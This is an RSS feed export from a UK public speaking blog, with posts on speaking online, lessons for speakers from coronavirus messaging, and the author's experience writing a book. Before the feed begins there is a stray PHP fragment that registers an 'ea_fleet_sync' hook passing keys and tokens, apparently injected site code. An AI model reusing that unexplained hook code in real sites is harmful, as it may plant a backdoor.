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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Presentationskills Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/presentationskills/ Public speaking Mon, 31 Jan 2022 16:56:02 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Speaking online is here to stay https://www.nowyouretalking.co.uk/2020/09/09/speaking-online-is-here-to-stay/ Wed, 09 Sep 2020 08:11:43 +0000 https://www.nowyouretalking.co.uk/?p=1266 Picture this… A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two…

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]]> Picture this…
A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two Zoom meetings. The audience in the first. Speakers, session chairs, tech teams and other officials in the second. And then there were breakout rooms for workshops and briefings. Even though it was a UK event, speakers were streamed in from around the world, no expense spared! When the event went live, the Zoom meeting with multiple rooms, speakers, etc was broadcast into the audience Zoom meeting. And all without a hitch! Speaking online  is here to stay.

The future may be ‘hybrid’, but expectations of how we speak and present online will continue to rise; expectations of speakers to be engaging, relevant and memorable if we want to stay visible, have clients and employees who enjoy working with us, and thrive in our businesses. We need to make time to shine online with the three communication essentials of Confidence, Connection and a message that drives Change.

Confident speaking online 

Confidence is vital online to help your listeners feel they’re in safe hands and can relax and concentrate on what you have to say. If you come across as unduly nervous, people will worry about your wellbeing and may even tune out. To hold their attention, you need to bring confident energy to the screen.

You’re on the small screen

Being online is like having a close up and every member of your audience has a front-row seat. You’re on the small screen and the camera and mic will pick up every detail, expression, gesture and sound. What can your audience see and hear and is it what you want them to see and hear?

Are you looking your best? Ensure your main light source is behind the camera so that you’re neither plunged into shadow nor dazzled by sunlight, making you squint or obliterating your eyes if you wear glasses. Capture a screenshot before you go live and know you look the part. Wearing block colours also make you look strong and professional.

Check your tech

Relying on technology can feel like working with children and animals. With all the checks in the world, things can still go wrong. If they do, keep calm, explain what’s happening and fix the problem. Even better, invite a participant to take care of the tech for you.

In addition, make sure your internet connection is as strong as it can be to minimise buffering.

Share confident energy

Think of all the non-verbal ways you can bring confident energy to the screen. For instance:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, on the small screen, fidgeting distracts and big gestures that work in a large venue will overwhelm or fall out of view
  • Set the camera at just above eye level and look directly into the lens (not at the faces on your monitor) for open and sincere eye contact, while keeping any double chins at bay!
  • Breathe into the abdomen and relax your upper body so that your vocal tone is rich and strong and you mic doesn’t pick up any sign of nerves in your voice.

Connection when speaking online

Picture people queueing up to talk to you after you’ve given a talk, or piling questions into the chat. They’re there because you’ve connected with them, both in terms of the value you’ve given and the way you’ve made them feel. And online, it’s even more vital. If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

What’s In It For Me?

Whether you’re pitching for work, inspiring your team, hosting a meeting or giving a conference paper, it’s your responsibility to know what your listeners are expecting from you and answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that you are relevant and on the pulse, and they have a reason to carry on listening. This means deep researching your audience so that you understand who they are, what they already know and what makes them tick.

Use inclusive language

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power implies a one-to-one conversation in the singular and, in the plural, includes everyone, creating both a strong feeling of inclusivity and a personal connection. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Barack Obama understood the power of ‘you’ and ‘we’. In his 2012 presidential election victory speech, he used the personal pronoun ‘I’ 36 times, ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

Stories trump PowerPoints

Human beings are hard wired to connect through storytelling and it comes into its own online. It makes us relatable, likable, engaging and memorable. And all the more so when we tell a relevant personal story, openly and honestly:

In her book  Lyn Roseaman observes:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman, ‘Now You’re Talking!’

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to your listeners tuning out. Prioritise relevant storytelling at every opportunity to avoid online fatigue and tedium.

Your message to drive Change

John F Kennedy said “The only reason to give a speech is to change the world.”

Speaking online – meetings, events, conversations – is your opportunity to remain visible, develop fresh ideas and deliver energy and momentum to online experiences.

Message for the moment

Meetings can sometimes lose sight of a clear purpose and message. Starting at the end of your presentation or meeting with how you want people to think, feel or act after they’ve listened to what you have to say will help you stay relevant, show you’re in touch and on point. Identify a message that is new and on point and then incorporate only content that supports it. Make it memorable and end with a call to action that justifies people’s attendance and put plans in place to follow up.

Make life easy when you’re speaking online

Our attention spans are short at the best of times and seemingly even shorter online, so it’s crucial to get to the point and stay relevant. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners along the way. Less is most definitely more online.

Structure and signpost your talk so that it is easy to follow. Choose a clear structure. Break up your presentation into small ‘chunks’ of some five minutes each, and top and tail each chunk with what you plan to cover and a keyword to sum it up as you move on to the next chunk. Signpost what you have to say to let your audience know the ‘road map’ for your talk so it’s clear and easy to follow.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Interact at every opportunity

In Zoom and Teams, you can create breakouts. Dividing your audience into smaller groups and sending them to separate ‘rooms’ where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas.

Aiming to make some 70% of the time interactive will make your meetings, talks and presentations more dynamic, relevant and memorable. To help things run smoothly, set ground rules online for listening to each other and not all talking at the same time!

Conclusion

Speaking online convincingly is here to stay. Prepare to go hybrid for the benefit of you and your business. In future we’ll need to shine online AND in physical locations, with our real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article appeared in ESOMAR’s Research World as ‘Make some time to shine online’ and HR Director as ‘How to give your best performance in your next online presentation’

 

 

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]]> Coronavirus lessons for public speakers https://www.nowyouretalking.co.uk/2020/03/24/coronavirus-lessons-for-public-speakers/ Tue, 24 Mar 2020 17:32:25 +0000 https://www.nowyouretalking.co.uk/?p=1005 Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of…

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]]> Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of the things going on in public life and slogans adopted to communicate with us and keep us all safe during these challenging times.

1. Confusing messages have no impact

Sounds obvious, doesn’t it? But over the past few weeks, the UK has received unclear, indecisive messages about what to do in the face of the coronavirus crisis. Language such as ‘should’, ‘could’, ‘might’ is indefinite and confusing. If we want people to respond to our calls to action, we need to be precise and unambiguous.

To find your clear message, start at the end. What do you want your audience to think, feel or do after they’ve heard what you have to say? If you are clear about the answer, you will be able to articulate it in about 10 words. If you can’t, you need to strip back and reduce your ideas to their very essence. In the words of Albert Einstein:

“If you can’t explain it simply, you don’t understand it well enough.”

If you can then convert your message into an anchor phrase or ‘soundbite’ that encapsulates the content of your speech and is short, rhythmic and rhymes, then you have a memorable takeaway that will make your words live on long after you have finished speaking. For example, ‘failing to prepare is preparing to fail’, ‘women’s rights are human rights’, ‘I have a dream…’

2. Expertise brings credibility

We are repeatedly being told that decisions about coronavirus are being led by science and the expertise of scientists. We are persuaded by their expertise. Aristotle told us that there are three elements to delivering a persuasive message – Ethos (our credibility as speakers), Logos (evidence, facts and figures that need to be explored), and Pathos (emotional engagement with your audience). The combination of these three is key. Consider how, for instance, the ‘facts’ of science are being infused with more emotional messages about the need for us to be responsible to save lives.

As speakers, we need to establish our credibility. This doesn’t mean that only people who have been doing it for years or are famous are eligible to speak. Indeed, time alone is often a poor reason to speak, especially if the message doesn’t evolve and reflect current challenges. Speaking is an opportunity and your expertise, experience or involvement in a project are your authority, your credibility. Make sure you or your meeting host establish your credibility from the outset and don’t forget to dress accordingly to reinforce that position.

3. Get personal and active

If you want people to pay attention to, and act on, what you’re saying, you need to make it personal. ‘You’ is the magic word. ‘You’ is inherently inclusive and individual at the same time. Its use instantly includes everyone in the audience and speaks to each person as an individual, so that they feel as if you are speaking directly to them.

Dial up the number of times you use the word. Barak Obama had this down to a fine art when it came to connecting with his listeners. In his 2012 presidential election victory speech, Obama used the personal pronoun ‘I’ 36 times. In stark contrast, he used ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

The official line has been passive and slow to get to the point. Phrases like “You should work from home” and “social distancing” are vague and flat. If we want people to do something, we need to give people a reason, make it personal so that they can see the benefit and speak in the more immediate and present style of the active voice. Fortunately, the world of hashtags is more dynamic, active and to the point #WFH #WorkFromHome #StayHome #StaySafeSaveLives #KeepYourDistance.

4. We will get through this!

There’s a conviction being conveyed that, together, we will overcome coronavirus. This belief is helpful when it comes to managing our nerves and building our confidence as speakers. Being nervous is completely normal and you are not alone. As Mark Twain observes:

“There are two types of speakers. Those who get nervous and those who are liars.”

Not only are nerves part of being human, speaking is a learnable skill and we can learn to channel our nerves into the energy we need to speak in front of an audience. To help us do this, I have developed the PRO apPROach to befriending our nerves:

  • Bring a sense of PROportion to our speaking, taking our foot off the panic pedal and working through what it is that frightens us; how we can prevent these fears becoming a reality and any damage limitation if they do; the costs of not speaking for our personal profile, careers, businesses, etc and the significant benefits of having a go.
  • PROgram your brain away from the adrenaline-rushing, survival, primordial response to the idea of public speaking so that you can learn to recognise it as something ’we will get through’ and, over time, enjoy. Move the spotlight onto your audience and think of yourself as giving them something of value. Try to talk about things that matter to you and your audience so that your enthusiasm shines through and celebrate your success every time you give a speech or presentation. It’s a big deal. You can think about improvements later. PROgram a ‘pat on the back’ and reduce the survival response.
  • Embrace a PROcess of incremental improvements. Start with small audiences. Practise at every opportunity. Now is a great time with all these online meetings and gatherings. Identify specific skills you want to work on and invite feedback so that the process is always one of ongoing learning and growth.

5. ‘Don’t touch your face!’ and other non-verbal signals

This is a great tip from a body language perspective. When we touch our faces as speakers, we make our audience wonder what we have to hide. Any trust we have built up will be undermined. Keep your hands away from your face and use them with purpose to reinforce your words.

Essentials of body language online include a heartfelt smile and steady eye contact. But don’t forget to maintain a good posture. It’ll make you feel more confident and send that to your audience. Similarly, if you are sitting, use an office-type chair and adopt an upright position. I see a number of people sitting forward in a chair and then they begin to sway to and fro. This makes them look nervous and is highly distracting. Similarly, if you’re standing, plant yourself firmly, soften your knees and lean slightly into the balls of your feet for additional energy. Dial down movement, when you’re online, you’re effectively on the ‘small screen’ and large gestures can overwhelm or distract.

6. In this together

Speaking at its most impactful is an outcome of co-creation between speaker and audience. It’s not about a speaker talking AT their audience, but rather having a conversation WITH them. Conversation is a two-way, negotiated experience.

At the moment, we’re seeing a lot more kindness and humanity, so now is a great time to have a go. Interact with your audience – ask them questions, mirror their body language, tap into their reactions. Invite their input on the spot and see where it takes you.

7. And a final thought… how do you stand out online when everyone has moved there?

It was already difficult to stand out in the world of social media, where so many people are creating and sharing content. Now, more than ever, you need to find ways to attract attention. Consider, for instance:

  • How you can bring a fresh twist to your content. You might adopt a different perspective or discipline. If, for instance, you’re a neuroscientist, what can a musician bring to your message (eg David Eagleman and Anthony Brandt)?
  • Explore your ideas through play and see how your message or theory evolves.
  • Tell a relevant personal story or share your personal vision.

And, of course, bring interesting vocal stylings to your delivery in terms of variety of pace, pitch, volume, pausing. If you’re in any doubt about you vocal skills, try reading a story to a child, they’ll soon let you know if you’re not up to scratch!

Now you’re talking in the time of coronavirus! I’d love to hear about the coronavirus lessons for public speakers you are reminded of at this time.

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]]> A writer’s challenge – three strangers come to call https://www.nowyouretalking.co.uk/2019/12/06/writers-challenge/ Fri, 06 Dec 2019 14:03:43 +0000 https://www.nowyouretalking.co.uk/?p=949 We all love a challenge, don’t we? They help you learn; help you grow; maybe even help you feel amazing when you achieve them? In the same way, writer’s love a challenge. But do you always know what you’re letting…

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]]> We all love a challenge, don’t we? They help you learn; help you grow; maybe even help you feel amazing when you achieve them? In the same way, writer’s love a challenge.

But do you always know what you’re letting yourself in for? They do say Be careful what you wish for! Does it matter? Or is it the challenge itself and what we learn that’s important?

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Be careful what you wish for

My writer’s challenge started in May with an opportunity. I met a mentor on a mission. Her name is Lucy and she’s a publisher, author and speaker. She’ on a mission to get more women to write and publish business books; a sector currently dominated by men.

And WIIFM? The opportunity to write a book, guided and supported by someone who knows what she’s talking about and is kind and fun.

I’ve wanted to write a book since I was 12. In that first draft, I aspired to put the world to rights, sorting out religion, education, politics, economics and goodness knows what else. My mum persuaded me to wait a few years until I had a bit more life experience to share. Nearly half a century later, I’m back on the case. This time the subject is public speaking. Marginally less ambitious perhaps. But still potentially life changing; a little more focused and something I know a little bit about!

So far, so good. I get my wish to write a book. But be careful what you wish for! Some very peculiar characters came to call.

The Obsessive – first writer’s challenge

My first writer’s challenge was a long visit from Obsessive Lyn. It reminded me of when I was young and new love came calling, it was typical to become obsessed with your new love interest to the exclusion of all else, even existing friends. Does that still happen? This time it was a manuscript! Invitations came. “Lyn, can you come and stay for a few days? Sorry, I can’t, it’s the book. How about lunch? I couldn’t possibly, the deadlines are far too tight. Toastmasters? No way, I have to keep writing!”

I was in a state of utter panic. The big picture of so much to do and so little time was overwhelming. I started printing off my calendar, broken down into hourly segments, for the week ahead. Then I populated it with hourly and daily goals and soon realised, there is time … just! I can do this. I stuck my calendar in bite-sized chunks to the front door so I could see it every time I moved around my flat.

Stressing like mad, I tried to be a good mentee and follow Lucy’s advice. Just write she kept saying. Get it out of your head and onto the page – no reviewing, no editing, just dumping! I tried, but Perfectionist Lyn wasn’t having any of it.

The Perfectionist – second writer’s challenge

Apparently, perfectionism happens when our brain hasn’t accepted that doing our best is enough. Imagine the havoc, writing away – no reviewing, no editing – with the Perfectionist screaming at me “This is rubbish. It doesn’t make sense. It’s full of typos!” Lucy assured me, there would be plenty of time for editing later. For now, she told me to keep writing and send my Perfectionist away to relax with a gin and tonic and leave me to do my best and be kind to myself instead of trying to be perfect.

The Impostor – third writer’s challenge

Somehow, I managed it and carried on writing. Then another little voice kicked off in my head. My third writer’s challenge, Impostor Lyn, had arrived. “Who do you think you are? You can’t write a book about speaking. What do you have to say to anyone?”

At this time, a friend gave me a lovely tip. Think of what you’ve achieved, she said. I made a big poster and stuck that to my front door too. I wrote on it everything that was going well with the book, with anything. And I began to believe that maybe I do have something to say that can be useful to other people.

Worthwhile challenges are hard. But don’t let your vulnerabilities stop you. I certainly don’t regret what I wished for. Hopefully, I’ll soon have a book, written by a woman. My friends are still talking to me. And I have three new friends – the reformed Obsessive Lyn, Perfectionist Lyn and Impostor Lyn. What a very peculiar summer!

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